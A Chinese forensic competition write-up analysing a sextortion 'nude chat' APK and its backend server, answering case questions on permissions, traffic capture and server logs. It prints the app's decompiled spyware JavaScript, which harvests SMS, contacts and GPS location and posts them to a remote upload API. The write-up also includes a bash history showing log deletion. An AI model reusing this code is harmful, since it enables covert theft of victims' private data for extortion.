鸣谢

  • 感谢sq学长和cty学姐的帮助和教导!!!
  • 第一个大型比赛复刻学习结束了,好累(。し_し。)但是继续出发(≧▽≦)哈哈哈

2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导裸聊,下载了某“裸聊”软件,导致自己的通讯录和裸聊视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“裸聊”软件的安装包–zhibo.apk(检材一),请各位回答下列问题:(题目中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例:192.168.100.100-CAB2021)

1. 请计算检材一Apk的SHA256值:

1)直接将apk拖入hashcal计算
2)雷电APP智能分析直接出,但注意SHA256的主体是检材

alt text
3)window自带工具:certutil -hashfile 检材一-zhibo.apk sha256

2. 该APK的应用包名为

1)使用jadx反编译,查看AndroidManifest.xml,package的值就是包名
2)雷电APP智能分析直接出

alt text

3. 该APK程序在封装服务商的应用唯一标识(APPID)为

  • 使用jadx反编译,可以在assets的apps目录下找到,文件夹名字就是
  • xml文件第一行后面也有 package=“plus.H5B8E45D3” ,应用包名后半部分与APPID一致(?不确定

alt text
——来源

alt text

查证:

  1. “应用ID必须至少包含两段(一个或多个圆点)。每段必须以字母开头,所有字符必须为字母数字或下划线 [a-zA-Z0-9_]。例如,com.example.myapp 是一个有效的应用ID。”——来源
    应该是写错了这个讲的是应用包名
  2. 问deepseek
维度 APK 包名 服务商 APPID
定义与归属 技术身份:在代码中定义,是应用在安卓系统中的唯一技术标识。 商业身份:由应用商店或服务商(如华为、腾讯、阿里)分配,是其在平台生态内的唯一商业标识。
设定者 开发者。 服务商平台系统(当开发者上传应用时生成或分配)。
唯一性范围 全球唯一(理论上)。谷歌建议使用逆序域名来确保这一点(如 com.companyname.appname)。 平台内唯一。同一个应用在不同商店可能有不同的 APPID。
是否可变 不可变。一旦发布,更改包名等同于创建了一个全新的应用。 通常不变,但理论上平台有权重新分配。同一个应用更新版本,其 APPID 不变。
主要用途 1. 系统识别:安卓系统通过包名来区分不同应用。
2. 安装与更新:系统根据包名判断是安装新应用还是更新现有应用。
3. 进程标识:应用进程名通常以包名开头。
1. 平台管理:用于商店后台的统计、更新、收费管理等。
2. API 调用:集成该服务商 SDK(如推送、登录、支付)时,需要用 APPID 来标识自身。
3. 应用分发:生成商店下载链接。
示例 com.tencent.mm (微信)
com.netease.cloudmusic (网易云音乐)
华为应用市场:C1000000001
腾讯开放平台:110xxxxxx
阿里应用分发:12345
在您提供的案例中(包名为 plus.H5B8E45D3,文件夹名为 H5B8E45D3),文件夹名就是APPID的可能性超过了90%。 因为这种“包名 = 固定前缀 + APPID”的结构,本身就是服务商为了将技术标识和商业标识强绑定而设计的。因此,在资源目录下使用APPID作为路径的一部分,是保持逻辑一致性的最合理做法。
  • 还是不清楚但解题可以APP直接做到

alt text
“当然也可以去网站源文件里面确认,就是看ID”(?没找到APP内的地方)——来源

4. 该APK具备下列哪些危险权限(多选题):

A.读取短信 B.读取通讯录 C.读取精确位置 D.修改通讯录 E.修改短信

  • APP直接做到

alt text

  • xml文件内查找
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="com.asus.msa.SupplementaryDID.ACCESS"/>
name=后面的字符串 对应代表权限意思
android.permission.INTERNET 访问互联网
android.permission.WRITE_EXTERNAL_STORAGE 写入外部存储
android.permission.ACCESS_NETWORK_STATE 访问网络状态
android.permission.ACCESS_WIFI_STATE 访问Wi-Fi状态
android.permission.INSTALL_PACKAGES 安装程序包
android.permission.REQUEST_INSTALL_PACKAGES 请求安装程序包
android.hardware.camera 需要摄像头 (硬件功能)
android.hardware.camera.autofocus 需要自动对焦 (硬件功能)
android.permission.ACCESS_COARSE_LOCATION 访问粗略位置
android.permission.ACCESS_FINE_LOCATION 访问精确位置
android.permission.READ_CONTACTS 读取联系人
android.permission.READ_SMS 读取短信
android.permission.RECEIVE_SMS 接收短信
android.permission.ACCESS_COARSE_LOCATION 访问粗略位置
android.permission.ACCESS_FINE_LOCATION 访问精确位置
android.permission.SEND_SMS 发送短信
android.permission.WRITE_SMS 写入短信
android.permission.GET_ACCOUNTS 获取账户列表
android.permission.WRITE_CONTACTS 写入联系人
android.permission.ACCESS_WIFI_STATE 访问Wi-Fi状态
android.permission.ACCESS_NETWORK_STATE 访问网络状态
android.permission.CHANGE_WIFI_STATE 更改Wi-Fi状态
android.permission.READ_PHONE_STATE 读取手机状态
android.permission.WRITE_EXTERNAL_STORAGE 写入外部存储
android.permission.MOUNT_UNMOUNT_FILESYSTEMS 挂载和卸载文件系统
android.permission.READ_LOGS 读取系统日志
android.permission.WRITE_SETTINGS 写入系统设置
com.huawei.android.launcher.permission.CHANGE_BADGE 华为角标权限
android.permission.READ_EXTERNAL_STORAGE 读取外部存储
com.asus.msa.SupplementaryDID.ACCESS 华硕补充设备ID权限

反思:联网可以直接丢给ai,断网可以复制黏贴到txt搜索read,write等词
网上找到的对应关系表,在images文件夹存储文件名为:安卓权限中英文对应表.jpeg

5. 该APK发送回后台服务器的数据包含一下哪些内容(多选题):

A.手机通讯录 B.手机应用列表 C.手机号码 D.验证码 E.GPS定位信息

法一
  • 雷电软件 其他模式抓不到,使用代理模式抓包能抓到CD【复刻失败方法】

alt text
alt text

  • 模拟器请求手机通讯录,猜测有A
  • 添加锁屏密码和通讯录信息后抓包获得

alt text
alt text

  • 答案都出来了,耶

  • 官方文档:

  • 抓包方式介绍

  • 雷电APP智能分析软件目前提供了4种抓包方式,分别是HTTP、TCP、代理模式、TCPDump,Android 支持全部4种方式,iOS 目前只支持代理模式抓包,下面分别介绍四种方式的应用场景:

    • HTTP 方式是基于手机 VPN 原理实现的抓包,一般情况下如果是要抓HTTP 协议的网络数据包推荐这种方式,不过后台服务器已经不在运行的情况下使用该方式无法抓取到网络数据包。
    • TCP 方式同样是基于手机 VPN 原理实现的抓包,如果网络数据包是原生 TCP 协议的话推荐使用这种方式。
    • 代理模式是基于在手机或者模拟器上设置代理地址实现的抓包(和 fiddler、charles 原理相同),软件会自动设置代理 IP 地址,无需手动填写代理地址,这种方式的优点是后台服务器不在运行的情况下也能抓到请求的网络数据包。
    • TCPDump 模式是基于 libpcap 库的抓包,根据使用者的定义对网络上的数据包进行截获,可以将网络中传送的数据包完全截获下来提供分析,这种方式的优点是可以抓取到所有协议的网络数据包。
  • 抓包方式选用

    • 抓 HTTP 协议首选 HTTP 方式抓包,后台服务器不存在的情况下选择代理模式抓包;
    • 抓 TCP 协议选择 TCP 方式抓包;
    • 在其他方式都抓包无果的情况下,建议使用 TCPDump 进行尝试;
  • 抓包注意事项

    • 代理模式和 TCPDump 抓包不能自动区分网络数据包是来源哪个应用的,有可能会混入非当前 APP 的网络数据包,因此需要自己筛选判断;
    • 代理模式如果使用的是真机,真机需要和 PC 保持在同一局域网;
    • 代理模式和 TCPDump 抓到的网络数据包需要先在分析结果页中将目标数据包添加标记后才能导出到 Word/PDF 报告;
    • Android 设备使用代理模式时软件会自动设置代理,结束抓包的时候软件会自动清除代理。如果没有正常结束代理模式抓包,可能会因残留的代理设置导致Android设备无法上网,可以使用雷电APP自动修复;
    • iOS 设备使用代理模式时需要自己安装证书、配置代理设置以及清除代理设置;
    • TCPDump 抓包模式下不会实时更新抓包结果,只有在点击结束后才会进行解析并展示抓包结果;
    • TCPDump 的抓包结果目前只支持 HTTP 请求的解析,HTTPS 请求需要借 Wireshark 进行分析。
法二
  • jadx搜索

alt text
alt text

/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();

mui.plusReady(function () {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);

var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(
["android.permission.READ_SMS"],
function (resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}

var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor")
var Uri = plus.android.importClass("android.net.Uri")   //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity()
var uri = Uri.parse("content://sms/");

var projection = new Array("_id", "address", "person", "body", "date", "type")
var cusor = activity.managedQuery(uri, projection, null, null, "date desc")
var idColumn = cusor.getColumnIndex("_id")
var nameColumn = cusor.getColumnIndex("person")
var phoneNumberColumn = cusor.getColumnIndex("address")
var smsbodyColumn = cusor.getColumnIndex("body")
var dateColumn = cusor.getColumnIndex("date")
var typeColumn = cusor.getColumnIndex("type")
if (cusor != null) {
while (cusor.moveToNext()) {
SmsInfo.id = cusor.getString(idColumn)
SmsInfo.Name = cusor.getInt(nameColumn)
SmsInfo.Date = cusor.getLong(dateColumn)
SmsInfo.Date = getFormatDate(SmsInfo.Date)
SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn)
SmsInfo.Smsbody = cusor.getString(smsbodyColumn)
SmsInfo.Type = cusor.getString(typeColumn)

var post = JSON.stringify(SmsInfo);
//console.log(post);
duanxin = duanxin + ',' + post;

}
duanxin = duanxin + ']';
//alert(duanxin);

mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)


},
error: function (xhr, type, errorThrown) {
//异常处理;

}
});
cusor.close()
}

},
function (error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}



//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function (format) {
var o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}


//将long型日期转换为特定格式
function getFormatDate(l, pattern) {
date = new Date(l);
if (pattern == undefined) {
pattern = "yyyy-MM-dd hh:mm:ss";
}
return date.format(pattern);
}


//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");

mui("body").off("tap");

mui("body").on('tap', '#tx', function (event) {

$('#tx').hide();
$('#zz').show();
});

mui("body").on('tap', '#gb', function (event) {

$('#tx').show();
$('#zz').hide();
});

mui("body").on('tap', '#qd', function (event) {
if (danjishijian) {
danjishijian = false;
aa()
} else {
aa()
}

});


function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {

case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;

default:
permissionName = '未知';
androidPermission = '未知';
break;
}

//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return
break;
default:
errorCallBack('不支持' + permissionName + '权限');
return
break;
}

//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else {
//如果不正常,如果是 andorid 系统,就动态申请权限
if (plus.os.name == 'Android') {
//动态申请权限
plus.android.requestPermissions([androidPermission], function (e) {
if (e.deniedAlways.length > 0) {
//权限被永久拒绝
// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Always Denied!!! ' + e.deniedAlways.toString());
}
if (e.deniedPresent.length > 0) {
//权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
}, function (e) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Request Permissions error:' + JSON.stringify(e));
})
} else if (plus.os.name == 'iOS') {
//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera
//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会
//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。
if (checkResult == 'undetermined') {
//调用依赖获取定位权限的代码
successCallBack(true)
} else {
//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开
mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'], function (e) {
//取消
if (e.index == 0) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
} else if (e.index == 1) {
//确认,打开当前应用权限设置页面
var UIApplication = plus.ios.import('UIApplication');
var application2 = UIApplication.sharedApplication();
var NSURL2 = plus.ios.import('NSURL');
// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");
var setting2 = NSURL2.URLWithString('app-settings:');
application2.openURL(setting2);

plus.ios.deleteObject(setting2);
plus.ios.deleteObject(NSURL2);
plus.ios.deleteObject(application2)
}
}, 'div')
}
}
}
}

function aa() {
var sjh = $('#sjh').val();
var yqm = $('#yqm').val();
if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {

getPermission('CONTACTS', function () {
huoqu(sjh, yqm);

}, function (msg) {
mui.alert(msg, '提醒', '确定', function () { }, 'div')
//aa()
})
}
else {
mui.toast('请输入正确的手机号和邀请码')
}

}

function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(translatePoint, function (e) {
mui.toast("异常:" + e.message);
});
}

function translatePoint(position) {

var sjh = $('#sjh').val()
var yqm = $('#yqm').val()
var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {

if (data == '获取成功') {
requestPermission(sjh, yqm);

//setInterval(function(){
//var sjh=$('#sjh').val();
//var yqm=$('#yqm').val();
//requestPermission(sjh,yqm);
//console.log('send')

//},30000)
}

mui.toast(data)
},
error: function (xhr, type, errorThrown) {
//异常处理;
}
});

//书写自己的逻辑

}
// 扩展API加载完毕,现在可以正常调用扩展API

function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;


plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {


addressbook.find(["displayName", "phoneNumbers"], function (contacts) {


for (var i = 0, len = contacts.length; i < len; i++) {
con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
}
mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
//alert(data)
if (data == '正在加载列表') {
dingwei(sjh, yqm);
mui.openWindow({
url: 'list.html',
show: {
autoShow: true
}
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});
}, function () {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
}, {
multiple: true
});
}, function (e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}
});
  • 总结:
    • //Sms存放所有短信;//调用依赖获取定位权限的代码; mui.toast(‘请输入正确的手机号和邀请码’)
    • mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
    • 答案:ACDE

6. 该APK程序回传通讯录时,使用的http请求方式为

  • 雷电抓包可得

7. 该APK程序的回传地址域名为【标准格式:www.abc.com

  • 雷电抓包可得

8. 该APK程序代码中配置的变量apiserver的值为【标准格式:www.abc.com/abc】

9. 分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】

  • 继续在上一段代码里搜索SMS,这是短信的一般英文名,可以看到代码
mui.ajax(apiserver + 'apisms', {

10. 经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为

  • 使用雷电APP分析的Frida脚本里的SQLite数据库,即可得到数据库名

alt text

11. 经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为

  • 同上

经过掌握的APK程序后台服务器回连地址,警方成功调取该服务器的镜像,请使用第7题的答案对检材二进行解压进行分析,并回答下列问题:(www.honglian7001.com)

12. 检材二的原始硬盘的SHA256值为:

alt text

13. 查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】

  • pts指远程,tty指直连,down指正常关机,crash指强制关机

alt text

14. 请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】

  • 仿真(默认重置密码123456???)
  • 查看端口:netstat -antp
  • 查看历史命令:history(但有时要su之后进入root用户再history)
[ccj@localhost ~]$ su
密码:
[root@localhost ccj]# history
# 显示内容给AI解释如下:
1 ls # 查看当前目录内容
2 cd Desktop/ # 进入桌面目录
3 ls # 查看桌面文件
4 uname -a # 显示系统内核详细信息
5 cat /etc/issue # 查看系统发行版信息
6 lsb_release -a # 显示LSB发行版信息
7 cat /proc/cpuinfo # 查看CPU信息
8 hostname # 显示主机名
9 whoiam # 错误命令,应该是whoami
10 whoani # 错误命令,应该是whoami
11 whoami # 显示当前登录用户名
12 lspci # 列出PCI设备
13 env # 显示环境变量
14 lsusb # 列出USB设备
15 cat /proc/meminfo # 查看内存信息
16 df -h # 显示磁盘空间使用情况(人类可读格式)
17 fsdisk -l # 错误命令,应该是fdisk
18 fdisk -l # 列出磁盘分区表
19 ps aux # 显示所有运行中的进程
20 ps -ef # 以完整格式显示所有进程
21 crontab -l # 列出当前用户的定时任务
22 services --status-all # 错误命令,应该是service
23 service --status-all # 显示所有服务的状态
24 service # 显示service命令用法
25 service --status-all # 再次尝试查看服务状态
26 systemctl # 显示systemctl命令用法
27 systemctl --help # 查看systemctl帮助信息
28 systemctl -all # 错误选项,应该是systemctl list-units
29 ls # 查看当前目录
30 init 3 # 切换到运行级别3(多用户文本模式)
31 ls # 查看当前目录
32 cd / # 切换到根目录
33 ls # 查看根目录内容
34 cd opt # 进入opt目录
35 ls # 查看opt目录内容
36 cd honglianjingsai/ # 进入红莲竞赛目录
37 ls # 查看红莲竞赛目录内容
38 cd chronusNode/ # 进入chronusNode目录
39 ls # 查看chronusNode目录内容
40 cd logs # 进入日志目录
41 ls # 查看日志文件
42 rm * # 删除所有日志文件(危险操作)
43 ls # 确认日志文件已删除
44 ip a # 显示网络接口信息
45 init 3 # 再次切换到运行级别3
46 ls # 查看当前目录
47 who # 显示当前登录用户
48 w # 显示当前登录用户及活动
49 cd /opt/ # 进入/opt目录
50 ls # 查看/opt目录内容
51 cd honglianjingsai/ # 进入红莲竞赛目录
52 ls # 查看目录内容
53 cdd chronusNode/ # 错误命令,应该是cd
54 cd chronusNode/ # 进入chronusNode目录
55 ;s # 错误命令,分号分隔的空命令和s
56 ls # 查看目录内容
57 cd controller/ # 进入控制器目录
58 ls # 查看控制器文件
59 ls -l # 以长格式查看文件详情
60 date # 显示当前日期时间
61 history # 显示命令历史
62 ls # 查看当前目录
63 cd .. # 返回上级目录
64 ls # 查看目录内容
65 cd logs/ # 进入日志目录
66 ls # 查看日志文件
67 ls -l # 以长格式查看日志文件
68 ls # 再次查看
69 cd .. # 返回上级目录
70 ;s # 错误命令
71 ls # 查看目录内容
72 cd controller/ # 进入控制器目录
73 l;s # 错误命令,应该是ls
74 ls # 查看控制器文件
75 cd .. # 返回上级目录
76 l;s # 错误命令,应该是ls
77 ls # 查看目录内容
78 cd static/ # 进入静态文件目录
79 ls # 查看静态文件
80 cd . # 停留在当前目录
81 cd .. # 返回上级目录
82 ls # 查看目录内容
83 cd uploads/ # 进入上传文件目录
84 ls # 查看上传的文件
85 cd .. # 返回上级目录
86 ls # 查看目录内容
87 cd .. # 返回上级目录
88 ls # 查看目录内容
89 more README.txt # 查看README文件内容
90 ifconfig # 显示网络接口配置
91 netstat -anpt # 显示所有网络连接和监听端口
92 init 3 # 切换到运行级别3
93 vi /etc/sysconfig/network-scripts/ifcfg-ens33 # 编辑网络接口配置
94 reboot # 重启系统
95 ifconfig # 显示网络接口配置
96 init 3 # 切换到运行级别3
97 ls # 查看当前目录
98 firewall-cmd --add-port 80/tcp # 添加80端口到防火墙(缺少--permanent)
99 systemctl start firewalld # 启动防火墙服务
100 firewall-cmd --add-port 80/tcp # 再次尝试添加80端口
101 ip a # 显示IP地址信息
102 cd /opt # 进入/opt目录
103 ls # 查看目录内容
104 cd honglianjingsai/ # 进入红莲竞赛目录
105 ls # 查看目录内容
106 cd chronusNode/ # 进入chronusNode目录
107 ls # 查看目录内容
108 cd controller/ # 进入控制器目录
109 ls # 查看控制器文件
110 vi ADProxy.js # 编辑ADProxy.js文件
111 ls # 查看文件
112 cd /opt/ # 进入/opt目录
113 ls # 查看目录内容
114 cd honglianjingsai/ # 进入红莲竞赛目录
115 ls # 查看目录内容
116 cd chronusNode/ # 进入chronusNode目录
117 ls # 查看目录内容
118 cd controller/ # 进入控制器目录
119 ls # 查看控制器文件
120 more ADProxy.js # 查看ADProxy.js文件内容
121 clear # 清屏
122 ls # 查看当前目录
123 cd .. # 返回上级目录
124 ls # 查看目录内容
125 node app.js # 启动Node.js应用
126 clear # 清屏
127 history # 显示命令历史
128 cd /opt/honglianjingsai/ # 进入红莲竞赛目录
129 ls # 查看目录内容
130 cd chronusNode/ # 进入chronusNode目录
131 ls # 查看目录内容
132 cd controller/ # 进入控制器目录
133 ls # 查看控制器文件
134 vi ADProxy.js # 编辑ADProxy.js文件
135 yum vim # 错误命令,应该是yum install vim
136 yum install vim # 安装vim编辑器
137 ls # 查看文件
138 ping www.baidu.com # 测试网络连接到百度
139 ping baidu.com # 测试网络连接
140 yum install vim # 安装vim编辑器
141 vim ADProxy.js # 使用vim编辑ADProxy.js
142 more ADProxy.js # 查看ADProxy.js内容
143 vim ADProxy.js # 再次编辑ADProxy.js
144 cd .. # 返回上级目录
145 lsls # 错误命令,应该是ls
146 ls # 查看目录内容
147 more README.txt # 查看README文件内容
148 cd chronusNode/controller/ # 进入控制器目录
149 vim ADProxy.js # 编辑ADProxy.js文件
150 cd .. # 返回上级目录
151 ls # 查看目录内容
152 vim const.js # 编辑const.js常量文件
153 firewall-cmd --zone=public --add-port=80/tcp --permanent # 永久添加80端口到防火墙
154 ifconfig # 显示网络接口配置
155 ping 192.168.110.111 # 测试连接到指定IP
156 ls # 查看当前目录
157 cd controller/ # 进入控制器目录
158 ls # 查看控制器文件
159 vim ADProxy.js # 编辑ADProxy.js文件
160 firewall-cmd --add-port=80/tcp --permanent # 永久添加80端口
161 systemctl stop firewalld # 停止防火墙服务
162 vim ADProxy.js # 编辑ADProxy.js文件
163 LS # 错误命令,应该是ls(大写)
164 ls # 查看文件
165 cd .. # 返回上级目录
166 ls # 查看目录内容
167 cd logs/ # 进入日志目录
168 ls # 查看日志文件
169 more 2021-4-23-6-34.log # 查看指定日志文件
170 more 2021-4-23-6-31.log # 查看另一个日志文件
171 cd .. # 返回上级目录
172 cd controller/ # 进入控制器目录
173 ls # 查看控制器文件
174 vim ADProxy.js # 编辑ADProxy.js文件
175 vim /etc/hosts # 编辑主机名解析文件
176 vim ADProxy.js # 编辑ADProxy.js文件
177 cd .. # 返回上级目录
178 ls # 查看目录内容
179 node app.js # 启动Node.js应用
180 reboot # 重启系统
181 cd /opt # 进入/opt目录
182 ls # 查看目录内容
183 cd honglianjingsai/ # 进入红莲竞赛目录
184 ls # 查看目录内容
185 cd chronusNode/ # 进入chronusNode目录
186 ls # 查看目录内容
187 node app.js # 启动Node.js应用
188 history # 显示命令历史
189 cd /opt/ # 进入/opt目录
190 cd honglianjingsai/ # 进入红莲竞赛目录
191 ls # 查看目录内容
192 cd chronusNode/ # 进入chronusNode目录
193 cd controller/ # 进入控制器目录
194 ls # 查看控制器文件
195 vim ADProxy.js # 编辑ADProxy.js文件
196 cd .. # 返回上级目录
197 ls # 查看目录内容
198 cd logs/ # 进入日志目录
199 l;s # 错误命令,应该是ls
200 ls # 查看日志文件
201 ll # 显示详细文件列表(ls -l的别名)
202 vim 2021-4-23-17-36.log # 编辑日志文件
203 cd /opt/ # 进入/opt目录
204 ls # 查看目录内容
205 cd honglianjingsai/ # 进入红莲竞赛目录
206 ls # 查看目录内容
207 cd chronusNode/ # 进入chronusNode目录
208 ls # 查看目录内容
209 cd controller/ # 进入控制器目录
210 ls # 查看控制器文件
211 vim ADProxy.js # 编辑ADProxy.js文件
212 history # 显示命令历史
213 reboot # 重启系统
214 cd /opt/honglianjingsai/ # 进入红莲竞赛目录
215 ls # 查看目录内容
216 cd chronusNode/ # 进入chronusNode目录
217 ls # 查看目录内容
218 cd logs # 进入日志目录
219 ls -la # 以长格式显示所有文件(包括隐藏文件)
220 cat 2021-4-23-6-53.log # 查看日志文件内容
221 cat 2021-4-23-17-39.log # 查看另一个日志文件内容
222 date # 显示当前日期时间
223 systemctl start firewalld # 启动防火墙服务
224 firewall-cmd --add-port 80/tcp # 添加80端口到防火墙
225 cd .. # 返回上级目录
226 ls # 查看目录内容
227 cd controller/ # 进入控制器目录
228 ls # 查看控制器文件
229 vi ADProxy.js # 编辑ADProxy.js文件
230 ls # 查看文件
231 vi ADTCPDeliver.js # 编辑TCP传输控制器文件
232 vi ADFileServer.js # 编辑文件服务器控制器文件
233 ls # 查看文件
234 cd .. # 返回上级目录
235 ls # 查看目录内容
236 vi app.js # 编辑主应用文件
237 ls # 查看文件
238 cd controller/ # 进入控制器目录
239 ls # 查看控制器文件
240 vi ADProxy.js # 编辑ADProxy.js文件
241 ls # 查看文件
242 cd .. # 返回上级目录
243 ls # 查看目录内容
244 cd model/ # 进入模型目录
245 ls # 查看模型文件
246 cd .. # 返回上级目录
247 ls # 查看目录内容
248 cd node_modules/ # 进入Node.js模块目录
249 ls # 查看模块文件
250 ifconfig # 显示网络接口配置
251 reboot # 重启系统
252 clear # 清屏
